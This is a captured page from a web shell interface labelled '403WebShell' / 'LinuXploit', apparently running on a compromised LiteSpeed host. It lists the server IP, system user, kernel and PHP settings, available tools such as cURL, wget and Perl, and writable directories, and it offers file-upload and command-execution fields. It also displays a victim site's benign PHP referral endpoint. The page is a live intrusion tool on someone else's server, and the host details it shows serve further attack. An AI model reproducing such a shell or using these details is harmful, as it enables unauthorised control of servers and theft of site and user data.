Uname:Linux server17213-10344.hostycare.online 5.14.0-687.38.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Aug 12 17:19:12 EDT 2026 x86_64

403WebShell
403Webshell
Server IP : 103.243.232.44  /  Your IP : 216.73.216.237
Web Server : LiteSpeed
System : Linux server17213-10344.hostycare.online 5.14.0-687.38.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Aug 12 17:19:12 EDT 2026 x86_64
User : iamakash ( 1400)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/iamakash/public_html/shaurya.meals28.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/iamakash/public_html/shaurya.meals28.com/api_referral.php
<?php
require __DIR__ . '/includes/auth.php';
requireLogin();
header('Content-Type: application/json');

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    http_response_code(405);
    echo json_encode(['ok' => false]);
    exit;
}

$email1 = trim($_POST['email1'] ?? '');
$email2 = trim($_POST['email2'] ?? '');

$valid1 = $email1 !== '' && filter_var($email1, FILTER_VALIDATE_EMAIL);
$valid2 = $email2 !== '' && filter_var($email2, FILTER_VALIDATE_EMAIL);

if (!$valid1 || !$valid2) {
    http_response_code(422);
    echo json_encode(['ok' => false, 'error' => 'Please enter 2 valid email addresses.']);
    exit;
}

$pdo    = getPDO();
$userId = $_SESSION['user_id'];
$stmt   = $pdo->prepare('INSERT INTO referrals (user_id, referred_email) VALUES (?, ?)');
$stmt->execute([$userId, $email1]);
$stmt->execute([$userId, $email2]);

echo json_encode(['ok' => true]);

Youez - 2016 - github.com/yon3zu
LinuXploit